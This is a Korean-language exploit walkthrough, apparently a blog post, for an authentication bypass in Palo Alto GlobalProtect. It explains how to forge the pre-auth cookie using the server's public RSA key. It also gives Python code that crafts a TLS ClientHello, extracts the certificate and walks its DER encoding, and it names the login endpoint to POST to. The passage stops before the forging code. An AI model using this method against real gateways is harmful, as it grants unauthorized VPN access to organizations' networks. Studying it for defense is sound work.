
Palo Alto Networks PAN-OS는 GlobalProtect 포털과 게이트웨이의 결함으로 인한 인증 우회 취약점을 포함하고 있어, 공격자가 승인되지 않은 VPN 연결을 설정할 수 있습니다. 이 취약점을 악용하려면 포털 또는 게이트웨이에 대한 네트워크 접근이 필요합니다.
이 익스플로잇은 서버의 공개적으로 접근 가능한 TLS 인증서만 사용하여 인증 쿠키를 위조함으로써 Palo Alto GlobalProtect 게이트웨이/포털에 비인증 VPN 접근을 달성합니다.
GlobalProtect는 클라이언트가 인증할 수 있도록 사전 인증 쿠키(portal-userauthcookie)를 사용합니다. 치명적인 결함은 다음과 같습니다:
Normal Flow:
1. Client authenticates (username + password)
2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
3. Client stores the encrypted cookie
4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it
The Bug:
The server ONLY checks if the cookie decrypts successfully with its private key.
It does NOT verify WHO encrypted it or if the plaintext content is legitimate.
서버의 RSA 공개 키는 TLS 인증서에 내장되어 있어(연결하는 모든 사람이 공개적으로 접근 가능), 모든 공격자는 다음을 수행할 수 있습니다:
이것은 전형적인 끊어진 인증(broken authentication) 결함입니다 — 디지털 서명이나 HMAC이 필요했던 곳에 암호화를 사용한 것입니다.
flowchart TD
A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
E --> F["Step 6: POST to /ssl-vpn/login.esp"]
F --> G{"Server Decrypts Cookie"}
G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
G -->|"Invalid"| I[" Rejected"]
왜 원시(raw) 방식인가? 서버의 인증서를 DER(원시 바이너리) 형식으로 가져와야 하기 때문입니다. Python의
ssl모듈은 내부적으로 전체 TLS 핸드셰이크를 완료하며 동일한 방식으로 원시 인증서 바이트를 노출하지 않습니다. 원시 TCP 연결을 수행하고 수작업으로 제작된 ClientHello를 전송함으로써 바이트 수준에서 서버의 응답을 가로챌 수 있습니다.
TLS 레코드는 다음과 같습니다:
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Type │ Version │ Length │ │
│ │ 0x16 │ 0x03 01 │ 2 bytes │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Handshake Message │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Type │ Length │ Body │ │
│ │ 0x01 │ 3 bytes │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
ClientHello 본문에는 다음이 포함됩니다:
| 필드 | 값 | 용도 |
|---|---|---|
| Version | 0x03 0x03 (TLS 1.2) | 서버에 TLS 1.2를 사용한다고 알림 |
| Random | 4바이트 타임스탬프 + 28바이트 난수 | 핸드셰이크용 논스(nonce) |
| Session ID | 0x00 (비어 있음) | 세션 재개 없음 |
| Cipher Suites | TLS_RSA_WITH_AES_128_CBC_SHA 포함 9개 스위트 | 핵심: RSA 전용 암호화 스위트를 포함하여 서버가 RSA 인증서를 사용하도록 강제 |
| Compression | 0x00 (없음) | 필수 |
포함된 확장:
| 확장 | ID | 용도 |
|---|---|---|
| SNI (서버 이름 표시) | 0x0000 | 연결하려는 호스트 이름을 서버에 알림 |
| 서명 알고리즘 | 0x000D | 지원하는 서명 알고리즘을 광고 |
| 지원 그룹 | 0x000A | 지원하는 EC 곡선 (P-256, P-384, P-521) |
| EC 포인트 형식 | 0x000B | 비압축 EC 포인트 |
[!NOTE] 암호화 스위트에는 의도적으로 RSA 키 교환 암호화(
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA)가 포함되어 있습니다. 이는 서버가 ECDSA 인증서 대신 RSA 인증서로 응답하도록 유도합니다 — 익스플로잇이 RSA에서만 작동하므로 이는 매우 중요합니다.
ClientHello 전송 후, 서버는 여러 TLS 레코드를 다시 전송합니다:
Server Response:
┌─────────────────┐
│ ServerHello │ (handshake type 2)
├─────────────────┤
│ Certificate │ (handshake type 11) ← WE WANT THIS
├─────────────────┤
│ ServerKeyExchange│ (handshake type 12, optional)
├─────────────────┤
│ ServerHelloDone │ (handshake type 14) ← STOP SIGNAL
└─────────────────┘
1단계 — TLS 레코드 헤더 제거:
각 TLS 레코드에는 5바이트 헤더가 있습니다: [type(1)] [version(2)] [length(2)]. 코드는 모든 레코드를 스캔하며, type == 22(Handshake)인 레코드의 페이로드를 연결합니다:
while i + 5 <= len(data):
t = data[i] # content type
rl = (data[i + 3] << 8) | data[i + 4] # record length
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # grab payload
i += 5 + rl # next record
2단계 — Certificate 메시지(type 11) 찾기:
핸드셰이크 스트림 내부에서 각 메시지에는 4바이트 헤더가 있습니다: [type(1)] [length(3)]. type == 11을 스캔합니다:
while j + 4 <= len(hs):
ht = hs[j] # handshake type
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-byte length
if ht == 11: # Certificate!
# Parse the certificate list inside
3단계 — 개별 DER 인증서 추출:
Certificate 메시지에는 각각 3바이트 길이 접두사가 붙은 인증서 목록이 포함됩니다:
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes) │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes) │
│ Cert 1 DER data (variable) │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes) │
│ Cert 2 DER data (variable) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
테스트 실행에서는 3개의 인증서(리프 인증서, 중간 CA, 루트 CA)를 얻었습니다.
이 함수는 ServerHelloDone(핸드셰이크 타입 14)을 스캔하며, 이는 서버가 전송을 마쳤음을 알려주므로 읽기를 중단할 수 있습니다.
X.509 인증서는 ASN.1(Abstract Syntax Notation One)을 기반으로 하는 바이너리 형식인 DER(Distinguished Encoding Rules)로 인코딩됩니다.
DER의 모든 요소는 다음과 같습니다:
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload) │
│ 1B │ 1-5B │ variable │
└─────┴────────┴───────────────────┘
길이 인코딩:
0x80 미만: 길이는 해당 바이트 그대로 (단문 형식)0x80 이상: 하위 7비트 = 길이를 인코딩하는 후속 바이트 수 (장문 형식)# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # long form?
nb = length & 0x7F # how many bytes follow
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = start of value
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (optional)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ WE WANT THIS ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (optional)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
이 함수는 태그+길이를 읽고 필요 없는 필드를 건너뛰며 DER 트리를 탐색합니다: